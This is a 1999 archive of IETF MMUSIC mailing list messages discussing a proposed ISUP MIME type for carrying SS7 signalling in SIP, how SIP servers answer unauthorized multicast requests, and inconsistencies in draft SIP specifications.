Date: Fri, 10 Sep 1999 15:36:34 -0500 (CDT)
Cc: confctrl@ISI.EDU, sigtran@standards.nortelnetworks.com,
        huitema@research.telcordia.com, ericz@ipverse.com
In-Reply-To: <61ABD11436FED21192440000F81F3E36012B6F21@nwcwi1a.europe.nortel.com> from "Mark Watson" at Sep 10, 99 04:04:52 pm
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>Telephony User Part/Register signalling
>
>Some countries still use the older Telephony User Part or even register
>signalling such as R2, rather than the ISDN User Part for their signalling.
>In a number of countries (in particular most of Europe) national variants of
>ISUP exist which can be used in place of the TUP variants with no loss of
>services.
>
>Standard ISUP can be used in place of register signalling.
>
>When moving to IP technology, it does not make sense to perpetuate this
>legacy signalling within the IP network, when the level of services can be
>maintained with ISUP. There is therefore no need to carry protocols such as
>BT NUP (aka IUP), France's SSUTR2, R2 etc.

I have two comments on this topic:

1) Since the purpose of an ISUP mime type is for (semi) transparancy of 
   signalling information, and since the information conveyed by CAS
   systems is quite rudimentary, it is decidedly unnecessary to 
   carry *any* sort of telephony signalling body in the case of R1 or R2 
   interworking scenarios. The discussion of converting CAS to an equivalent 
   ISUP to pass it across an IP network is ludicrous. I beleive it is
   sufficient to just put the CAS information in the SIP message (e.g. To:)
   and have no signalling in the body. Remember: the far end gateway will
   still have the capability to generate its own ISUP/NUP/CAS (as
   appropriate) based on SIP headers, even without a signalling body; if 
   it doesn't, it has no hope of interoperating with regular SIP nodes.
   (And if you can't do that, why are you using SIP?!?)

2) Similarly, the purpose of an ISUP mime type (and I still think
   we should be working to define an "application/ss7-userpart" mime type
   instead) is for ferrying user part packets from one end of the network 
   to the other, with no real interpretation in the middle. So it seems 
   unnecessary to force TUP protocols to be translated into ISUP. For 
   instance, it seems like a heck of a lot of extra work to translate 
   incoming BT NUP to British ISUP for its IP journey, and then have the 
   egress gateway translate it *back* to BT NUP to put it out on the PSTN.

--   
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Fri Sep 10 13:52:54 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA09635
	for confctrl-outgoing; Fri, 10 Sep 1999 13:52:54 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA09561
	for <confctrl@zephyr.isi.edu>; Fri, 10 Sep 1999 13:52:18 -0700 (PDT)
Received: from wellington.cnchost.com ([207.155.252.14])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA24480
	for <confctrl@isi.edu>; Fri, 10 Sep 1999 13:52:17 -0700 (PDT)
Received: from ericzlt01 ([205.158.54.162])
	by wellington.cnchost.com
	id QAA28338; Fri, 10 Sep 1999 16:52:08 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.8]
Reply-To: <ericz@ipverse.com>
From: "Eric Zimmerer" <ericz@ipverse.com>
To: "'Mark Watson'" <mwatson@nortelnetworks.com>, <confctrl@ISI.EDU>
Subject: RE: ISUP MIME type
Date: Fri, 10 Sep 1999 13:51:08 -0700
Message-ID: <00ea01befbce$358165e0$a301a8c7@ipverse.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <61ABD11436FED21192440000F81F3E36012B6F21@nwcwi1a.europe.nortel.com>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Mark,

You make some interesting suggestions.  If you want to create a naming
convention for all the possible ISUP variants, please feel free to do so.  I
don't think it is something I am interested in persuing, however.

You hit the nail on the head when you said "it does not make sense to
perpetuate this legacy signalling within the IP network".  That is one of
the prime motivations for encapsulating ISUP.  If we can put a wrapper
around ISUP and use it for backwards compatibility, we can move forward with
IP enabled services.

Your first two open issues (versions of ISUP to be captured) point to the
key issue: who needs to capture them?  It seems to me that an efficient
course of action is to name and catalog variants as the need arises.  I say
the first one to need/use/publish an ISUP variant as a MIME type gets to
name it ;-) (Please don't name it "Eric Zimmerer")

Your third issue should be taken care of by those who need to capture such
variants.

Your fourth issue is satisfied by letting the first implementer pick the
name.

As far as TUP goes, this is not a TUP MIME type draft.  We could easily
produce a TUP MIME type draft, and perhaps we should.

Thanks,

Eric



-----Original Message-----
From: Mark Watson [mailto:mwatson@nortelnetworks.com]
Sent: Friday, September 10, 1999 8:05 AM
To: 'confctrl@isi.edu'; sigtran@standards.nortelnetworks.com;
'huitema@research.telcordia.com'; 'ericz@ipverse.com'
Subject: ISUP MIME type


Hi,

I have some comments on the Internet Drafts proposing an ISUP MIME type -
basically I think these could be improved to better capture the types of
ISUP variants which exist and the relationships between them.

This idea is described in detail below. There are four open issues at the
end - can anyone help with these ?

I've cross-posted this to mmusic and sigtran since similar I-Ds have been
put forward in both groups. I suggest follow-ups go to mmusic only to save
confusion.

Regards,

Mark Watson
Nortel Networks, UK
+44 1628 434456
mwatson@nortelnetworks.com


Comments on the proposed ISUP MIME type
-----------------------------------------------------------------------

Internet draft draft-zimmerer-mmusic-sip-isup-mime-00.txt (July 1999)
describes a new MIME type for carrying C7 ISUP messages within the body of a
SIP request/response.

A key feature of ISUP signalling, from ITU-T White Book onwards, is the
compatibility mechanism. This introduces forward compatibility in that
allows future versions of the protocol, and regional and national variants
of the protocol can be sucessfully processed by node conformant to earlier
specifications.

This is achieved by new protocol extensions being accompanied by
'compatibility extensions' which tell earlier version nodes how to process
the unrecognised parameters and messages - either pass them on, discard them
or clear the call.

Therefore, if a node knows that a particular variant of ISUP is based on
ITU-T White Book, then it need not understand the whole variant in order to
sucessfully process it. This is particularly the case in 'toll bypass'
applications.

Equally, if a node knows that a particular ISUP is based on ETSI ISUP v2,
and the node supports ETSI v2, then it can sucessfully process the ETSI
extensions, without needing to know any other national extensions which may
be present.

It would be desireable to include mode detailed ISUP variant information in
the MIME content type for ISUP. This would allow nodes supporting just ITU-T
White Book to sucessfully process regional and national variants of White
Book.

This could be achieved by several parameters instead of the single 'version'
parameter to the application/isup media type.

The first parameter 'protocol' would indicate whether the protocol was based
on Blue Book (i.e. no compatibility mechanism) or on White Book or later
(i.e. compatibility mechanism):

Parameter Name: 'protocol'	Value set: { 'ISUPblue', 'ISUPwhite' }

The second parameter would indicate whether any extensions specified by a
regional standards body were present, or whether the protocol was the Q.767
version of blue book (a subset of Blue Book specified for International
Use).

Parameter Name: 'version'	Value set: 	protocol=ISUPblue	{
'ansi', 'etsi', 'q767', 'ntt' }
						protocol=ISUPwhite	{
'ansi', 'gr317', 'etsi', 'ntt' }

So, 'protocol=ISUPblue version=etsi' implies ETSI ISUP v1 (which happens to
be the same as 'book=blue version=q767'). 'protocol=ISUPwhite version=etsi'
implies ETSI v2 or higher. Note it is not necessary to distinguish between
ETSI ISUP v2 and higher versions because of the compatibility mechanism.

Similar clarification for the ANSI versions of blue and white book is
required, as well as for Japanese and other regional version (if there are
any)

Finally, there are a number of national variants of ETSI ISUP v1 and v2. In
the case of the v2 variants, then comprehension of the national extensions
may not always be required according to the compatibility mechanism. Some
kind of country identification is required - I've used informal two
character country codes, but a more formal identification scheme is
required.

Parameter Name: 'extensions'	Value set:	protoco=ISUPblue
version=etsi		{ 'it', ... }
							protocol=ISUPwhite
version=etsi 	{ 'uk1', 'uk2.2', 'fr' ... }
							protocol=ISUPwhite
version=ntt	{ '90.10v1', '90.10v2' }

Further work is required on this proposal to correctly capture the various
versions of ANSI ISUP and Japan ISUP. The value sets for the 'extensions'
parameter could be owned initially by the regional standards bodies, but
should be delegated to individual national standards organisations.

Telephony User Part/Register signalling

Some countries still use the older Telephony User Part or even register
signalling such as R2, rather than the ISDN User Part for their signalling.
In a number of countries (in particular most of Europe) national variants of
ISUP exist which can be used in place of the TUP variants with no loss of
services.

Standard ISUP can be used in place of register signalling.

When moving to IP technology, it does not make sense to perpetuate this
legacy signalling within the IP network, when the level of services can be
maintained with ISUP. There is therefore no need to carry protocols such as
BT NUP (aka IUP), France's SSUTR2, R2 etc.

In certain other countries there may not yet be a national variant of ISUP
which can suport the same services as the national TUP (e.g. China ?) and in
these cases there may be a need to carry the TUP signalling. It may
therefore be necessary to extend the value set for the 'protocol' parameter
to include { 'TUPred', 'TUPblue' } etc.

Examples

UK ISUP version 2.2 would therefore be encoded as:

Content-type: application/isup; protocol="isupwhite" version="etsi"
extensions="uk2.2"

Chinese TUP might be encoded as:

Content-type: application/isup; protocol="tupred" version="china"

If the extension to TUPs is decided to be required, then it may be sensible
to rename the MIME subtype to 'ccs7' for 'Common Channel Signalling System
No. 7'.

Proposal

The ISUP MIME type parameters should be enhanced as described above to
better capture the version/variant information.

Open Issues

1) What are the versions of ANSI/Bellcore ISUP which need to be captured ?
2) What are the versions/variants of Japanese ISUP which need to be captured
?
3) Are there any other regional standards bodies which have defined an ISUP
other than ANSI, ETSI and Japan ?
4) What is the best naming scheme for the 'extensions' parameter in order to
give every country some name-space ?

ends




From confctrl-owner  Fri Sep 10 17:37:32 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA18568
	for confctrl-outgoing; Fri, 10 Sep 1999 17:37:32 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA18563
	for <confctrl@zephyr.isi.edu>; Fri, 10 Sep 1999 17:37:31 -0700 (PDT)
Received: from wodc7mr3.ffx.ops.us.uu.net (wodc7mr3.ffx.ops.us.uu.net [192.48.96.19])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id RAA17644
	for <confctrl@ISI.EDU>; Fri, 10 Sep 1999 17:37:30 -0700 (PDT)
Received: from dynamicsoft.com by wodc7mr3.ffx.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.72.186.10])
	id QQhgde24194
	for <confctrl@ISI.EDU>; Sat, 11 Sep 1999 00:38:20 GMT
Message-ID: <37D9A448.4F0B1F3D@dynamicsoft.com>
Date: Fri, 10 Sep 1999 20:37:28 -0400
From: Vipul Patel <vpatel@dynamicsoft.com>
X-Mailer: Mozilla 4.6 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: MMUSIC list <confctrl@ISI.EDU>
Subject: SIP multicast
Content-Type: multipart/alternative;
 boundary="------------9C3A1C97404E31DF896EA746"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


--------------9C3A1C97404E31DF896EA746
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Let's say my Registration server is expecting authorization. And it
listens for request to All SIP  servers multicast address 224.0.1.75.

Now if the server receives a request through the multicast address, and
since it cannot send any response other than 2xx or 6xx, what should it
do...

Same with Invitations. For a client registered to listen at a multicast
address (239.1.1.1) and is accepting invitations from only authorized
clients. What should it do when it receives invitation with no
Authorization header?    Send a 603 Decline response?

Thank you,
Vipul.

--

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
mailto:vpatel@dynamicsoft.com

Office:         + 1 732.741.7244
FAX:            + 1 732.741.4778
www:            http://www.dynamicsoft.com



--------------9C3A1C97404E31DF896EA746
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
&nbsp;
<br>Let's say my Registration server is expecting authorization. And it
listens for request to All SIP&nbsp; servers multicast address 224.0.1.75.
<p>Now if the server receives a request through the multicast address,
and since it cannot send any response other than 2xx or 6xx, what should
it do...
<p>Same with Invitations. For a client registered to listen at a multicast
address (239.1.1.1) and is accepting invitations from only authorized clients.
What should it do when it receives invitation with no Authorization header?&nbsp;&nbsp;&nbsp;
Send a 603 Decline response?
<p>Thank you,
<br>Vipul.
<pre>--&nbsp;

Vipul J. Patel
dynamicsoft
200 Executive Drive
West Orange, NJ 07052
<A HREF="mailto:vpatel@dynamicsoft.com">mailto:vpatel@dynamicsoft.com</A>

Office:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.7244
FAX:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; + 1 732.741.4778
www:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <A HREF="http://www.dynamicsoft.com">http://www.dynamicsoft.com</A></pre>
&nbsp;</html>

--------------9C3A1C97404E31DF896EA746--


From confctrl-owner  Sat Sep 11 06:07:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA09975
	for confctrl-outgoing; Sat, 11 Sep 1999 06:07:17 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA09970
	for <confctrl@zephyr.isi.edu>; Sat, 11 Sep 1999 06:07:15 -0700 (PDT)
Received: from smtp-out1.bellatlantic.net (smtp-out1.bellatlantic.net [199.45.39.156])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA14728
	for <confctrl@ISI.EDU>; Sat, 11 Sep 1999 06:07:14 -0700 (PDT)
Received: from cs.columbia.edu (adsl-151-198-20-48.bellatlantic.net [151.198.20.48])
	by smtp-out1.bellatlantic.net (8.9.1/8.9.1) with ESMTP id JAA23791;
	Sat, 11 Sep 1999 09:05:50 -0400 (EDT)
Message-ID: <37DA5426.EDA0A729@cs.columbia.edu>
Date: Sat, 11 Sep 1999 09:07:50 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 4.5 [en]C-CCK-MCD BA45DSL  (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Vipul Patel <vpatel@dynamicsoft.com>
CC: MMUSIC list <confctrl@ISI.EDU>
Subject: Re: SIP multicast
References: <37D9A448.4F0B1F3D@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Not sure who first brought this up, but in the revised version of the
spec, 401 will also be allowed, for the reasons you mention.

See www.cs.columbia.edu/~hgs/sip/drafts/draft-ietf-mmusic-sip-new-00.pdf
for a snapshot.

Vipul Patel wrote:
> 
> 
> Let's say my Registration server is expecting authorization. And it
> listens for request to All SIP  servers multicast address 224.0.1.75.
> 
> Now if the server receives a request through the multicast address,
> and since it cannot send any response other than 2xx or 6xx, what
> should it do...
> 
> Same with Invitations. For a client registered to listen at a
> multicast address (239.1.1.1) and is accepting invitations from only
> authorized clients. What should it do when it receives invitation with
> no Authorization header?    Send a 603 Decline response?
> 
> Thank you,
> Vipul.
> 
> --
> 
> Vipul J. Patel
> dynamicsoft
> 200 Executive Drive
> West Orange, NJ 07052
> mailto:vpatel@dynamicsoft.com
> 
> Office:         + 1 732.741.7244
> FAX:            + 1 732.741.4778
> www:            http://www.dynamicsoft.com
> 
>

From confctrl-owner  Sat Sep 11 08:02:00 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA13516
	for confctrl-outgoing; Sat, 11 Sep 1999 08:02:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA13511
	for <confctrl@zephyr.isi.edu>; Sat, 11 Sep 1999 08:01:58 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA18037
	for <confctrl@ISI.EDU>; Sat, 11 Sep 1999 08:01:57 -0700 (PDT)
Received: from mr4.exu.ericsson.se (mr4u.ericy.com [208.238.116.99])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id KAA08256;
	Sat, 11 Sep 1999 10:01:03 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr4.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id KAA24990;
	Sat, 11 Sep 1999 10:01:03 -0500 (CDT)
Received: from b04a45.exu.ericsson.se (b04a45 [138.85.60.145]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id KAA27896; Sat, 11 Sep 1999 10:01:02 -0500 (CDT)
From: Sean Olson <eussean@exu.ericsson.se>
Received: (from eussean@localhost)
	by b04a45.exu.ericsson.se (8.9.1/8.9.1) id KAA07307;
	Sat, 11 Sep 1999 10:01:01 -0500 (CDT)
Date: Sat, 11 Sep 1999 10:01:01 -0500 (CDT)
Message-Id: <199909111501.KAA07307@b04a45.exu.ericsson.se>
To: confctrl@ISI.EDU, vpatel@dynamicsoft.com
Subject: Re: SIP multicast
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> Let's say my Registration server is expecting authorization. And it
> listens for request to All SIP  servers multicast address 224.0.1.75.
> 
> Now if the server receives a request through the multicast address, and
> since it cannot send any response other than 2xx or 6xx, what should it
> do...
> 
> Same with Invitations. For a client registered to listen at a multicast
> address (239.1.1.1) and is accepting invitations from only authorized
> clients. What should it do when it receives invitation with no
> Authorization header?    Send a 603 Decline response?
> 

It seems a very unusual choice to use multicast signalling for a point to 
point relationship like authorization/authentication as defined in the SIP 
spec. Multicast security requires a different approach. (See
draft-irtf-smug-gsadef-00.txt). In any event, if there is anything wrong
with a multicast request (lack of Authorization header included), I would
recommend simply dropping the request.


> Thank you,
> Vipul.
> 
> --
> 
> Vipul J. Patel
> dynamicsoft
> 200 Executive Drive
> West Orange, NJ 07052
> mailto:vpatel@dynamicsoft.com
> 
> Office:         + 1 732.741.7244
> FAX:            + 1 732.741.4778
> www:            http://www.dynamicsoft.com

-----------------------------------------------------------------
Sean Olson            E-mail: sean.olson@ericsson.com
Ericsson Inc.         Voice: (972) 583-5472 
                      FAX: (972) 669-0154

From confctrl-owner  Sat Sep 11 17:37:48 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA00191
	for confctrl-outgoing; Sat, 11 Sep 1999 17:37:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA00185
	for <confctrl@zephyr.isi.edu>; Sat, 11 Sep 1999 17:37:46 -0700 (PDT)
Received: from www.obsoft.com (root@obsoft.com [209.128.67.121])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA07433
	for <confctrl@isi.edu>; Sat, 11 Sep 1999 17:37:44 -0700 (PDT)
Received: from obsoft.com (sardana@localhost [127.0.0.1]) by www.obsoft.com (8.6.12/8.6.9) with ESMTP id SAA18874; Sat, 11 Sep 1999 18:32:01 -0500
Message-ID: <37DAE671.1138127D@obsoft.com>
Date: Sat, 11 Sep 1999 18:32:01 -0500
From: Bobby Sardana <sardana@obsoft.com>
Organization: ObjectSoftware, Inc.
X-Mailer: Mozilla 4.04 [en] (X11; I; Linux 2.0.33 i586)
MIME-Version: 1.0
To: confctrl@ISI.EDU, ericz@ipverse.com, sardana@obsoft.com
Subject: SIP - BCP Query
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Greetings:

While in the process of updating our SIP grammar to be SIP-BCP
compliant, I was not able to determine the following:

a. The ISUP example, mentioned in section 2.2.1 of the
draft-ietf-mmusic-sip-bcp-t-00.txt, mentions an example of embedded IAM
message within the body of the SIP message. I was wondering if the
calculated Content-Length, mentioned as 327 is right? If it is, an
explanation of how it was calculated would help. I am aware of HTTP 1.1
Content-Length calculations and tried to apply it against the example
but still was unable to resolve the length to be anywhere near 327.

Thanks.

Bobby Sardana.
sardana@obsoft.com


From confctrl-owner  Sun Sep 12 21:44:03 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA16508
	for confctrl-outgoing; Sun, 12 Sep 1999 21:44:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA16503
	for <confctrl@zephyr.isi.edu>; Sun, 12 Sep 1999 21:44:02 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id VAA28917
	for <confctrl@isi.edu>; Sun, 12 Sep 1999 21:44:01 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Sep 13 00:43:50 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.111])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id AAA01360;
	Mon, 13 Sep 1999 00:43:48 -0400 (EDT)
Message-ID: <37DC8160.294F9445@bell-labs.com>
Date: Mon, 13 Sep 1999 00:45:20 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Sean Olson <eussean@exu.ericsson.se>
CC: confctrl@ISI.EDU, vpatel@dynamicsoft.com
Subject: Re: SIP multicast
References: <199909111501.KAA07307@b04a45.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Sean Olson wrote:
> 
> > Same with Invitations. For a client registered to listen at a multicast
> > address (239.1.1.1) and is accepting invitations from only authorized
> > clients. What should it do when it receives invitation with no
> > Authorization header?    Send a 603 Decline response?
> >
> 
> It seems a very unusual choice to use multicast signalling for a point to
> point relationship like authorization/authentication as defined in the SIP
> spec. Multicast security requires a different approach. (See
> draft-irtf-smug-gsadef-00.txt). In any event, if there is anything wrong
> with a multicast request (lack of Authorization header included), I would
> recommend simply dropping the request.

The problem is that the client may be attempting to discover the SIP
server through a multicast registration. In this case, it may require
authorization (next time around through unicast, in fact). So, it should
send a 401 response, and then the UAC resubmits the request with
credentials.

Note that here is also a case where record-routes/contact is very useful
in a non-200 response (we've discussed this before in other contexts).
You really want a Contact header in the 401 indicating the URL to use
for actual registration.

-Jonathan R.

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Sep 13 03:03:12 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA25831
	for confctrl-outgoing; Mon, 13 Sep 1999 03:03:12 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA25826
	for <confctrl@zephyr.isi.edu>; Mon, 13 Sep 1999 03:03:09 -0700 (PDT)
Received: from hromeo.algonet.se (hromeo.algonet.se [194.213.74.10])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id DAA07843
	for <confctrl@ISI.EDU>; Mon, 13 Sep 1999 03:03:07 -0700 (PDT)
Received: (qmail 11325 invoked from network); 13 Sep 1999 12:02:59 +0200
Received: from kent.algonet.se (194.213.74.90)
  by hromeo.algonet.se with SMTP; 13 Sep 1999 12:02:59 +0200
Received: from du50-245.ppp.algonet.se ([195.100.245.50])
 by algonet.se (BLUETAIL Mail Robustifier1.0.4) with ESMTP
 ; Mon, 13 Sep 1999 10:02:59 GMT
Message-ID: <37DCCBBA.FB19DED6@intertex.se>
Date: Mon, 13 Sep 1999 12:02:34 +0200
From: Lars Berggren <lars.berggren@intertex.se>
Organization: Intertex Data AB
X-Mailer: Mozilla 4.06C-Caldera [en] (X11; I; Linux 2.0.35 i686)
MIME-Version: 1.0
To: MMUSIC list <confctrl@ISI.EDU>
Subject: SIP, inconsistency in revised version.
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Quoting from section 4.2.5 in the revised version of the spec,
http://www.cs.columbia.edu/~hgs/sip/drafts/draft-ietf-mmusic-sip-new-00.pdf
:


"Once a user agent server has received a CANCEL,it MUST NOT issue a 2xx
response for the cancelled original request. Instead, it issues a 487
(Request cancelled) response immediately upon receipt of the CANCEL
request."

and a few lines down :

"If the CANCEL request terminates a pending request, the server SHOULD
NOT send a final response for the request that was canceled."


I assume the 487 response is sent in response to the 'cancelled original
request'. With this assumption made, I can't see any logic here, just a
total contradiction, since the first quote says that a final response
should be sent and the other says not.

Explanations/arguements are welcome. I think the sending of a 487
response would be the nice thing to do for user agent servers, since it
will help transactions to complete faster.

Anyway, I think it doesn't break the protocol if implementation A sends
final responses when cancelled and implemention B doesn't, since in
either case the cancelled transaction fails. But, the contradiction
confuses the reader.

/Lars


-- 
Lars Berggren       <lars.berggren@intertex.se>
Intertex Data AB    tel: +46-8-6282828
Sundbyberg, Sweden  fax: +46-8-6286414

From confctrl-owner  Mon Sep 13 03:37:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA26975
	for confctrl-outgoing; Mon, 13 Sep 1999 03:37:49 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA26970
	for <confctrl@zephyr.isi.edu>; Mon, 13 Sep 1999 03:37:47 -0700 (PDT)
Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id DAA08956
	for <confctrl@isi.edu>; Mon, 13 Sep 1999 03:37:46 -0700 (PDT)
Received: from otter.hpl.hp.com (otter.hpl.hp.com [15.144.59.2])
	by atlrel1.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id GAA20423;
	Mon, 13 Sep 1999 06:37:05 -0400 (EDT)
Received: from hplb.hpl.hp.com (kristensen-a-4.hpl.hp.com [15.144.26.238])
	by otter.hpl.hp.com (8.9.3/HP-Labs Bristol Internal Mail Hub) with ESMTP id LAA23799;
	Mon, 13 Sep 1999 11:37:41 +0100 (BST)
Message-ID: <37DCD420.C0E72083@hplb.hpl.hp.com>
Date: Mon, 13 Sep 1999 11:38:24 +0100
From: Anders Kristensen <ak@hplb.hpl.hp.com>
Organization: HP Labs
X-Mailer: Mozilla 4.61 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@bell-labs.com>, confctrl <confctrl@ISI.EDU>
Subject: Re: SIP multicast
References: <199909111501.KAA07307@b04a45.exu.ericsson.se> <37DC8160.294F9445@bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



Jonathan Rosenberg wrote:
> 
> Sean Olson wrote:
> >
> > > Same with Invitations. For a client registered to listen at a multicast
> > > address (239.1.1.1) and is accepting invitations from only authorized
> > > clients. What should it do when it receives invitation with no
> > > Authorization header?    Send a 603 Decline response?
> > >
> >
> > It seems a very unusual choice to use multicast signalling for a point to
> > point relationship like authorization/authentication as defined in the SIP
> > spec. Multicast security requires a different approach. (See
> > draft-irtf-smug-gsadef-00.txt). In any event, if there is anything wrong
> > with a multicast request (lack of Authorization header included), I would
> > recommend simply dropping the request.
> 
> The problem is that the client may be attempting to discover the SIP
> server through a multicast registration. In this case, it may require
> authorization (next time around through unicast, in fact). So, it should
> send a 401 response, and then the UAC resubmits the request with
> credentials.
> 
> Note that here is also a case where record-routes/contact is very useful
> in a non-200 response (we've discussed this before in other contexts).
> You really want a Contact header in the 401 indicating the URL to use
> for actual registration.
> 

This means clients must interpret Contact headers in responses to
REGISTER  requests differently depending on the status code: 2xx and
Contacts are current addresses of address-of-record and otherwise
they're addresses of the registrar itself. This is what rfc 1543 says
and that's fine.

This 'overloading' of the Contact header means that a registrar cannot
give its own actual address in a Contact header in a 2xx.  A server can,
however, first redirect to its own non-multicast address and then
respond to the redirected request with a 2xx (or 401 for that matter). 
Maybe the spec should explicitly recommend this extra step, i.e. avoid
responding with 2xx to any multicast'ed message.

Cheers,
Anders

-- 
Anders Kristensen <ak@hplb.hpl.hp.com>,
http://www-uk.hpl.hp.com/people/ak/
Hewlett-Packard Labs, Bristol, UK

From confctrl-owner  Mon Sep 13 05:20:50 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id FAA00185
	for confctrl-outgoing; Mon, 13 Sep 1999 05:20:50 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id FAA00178
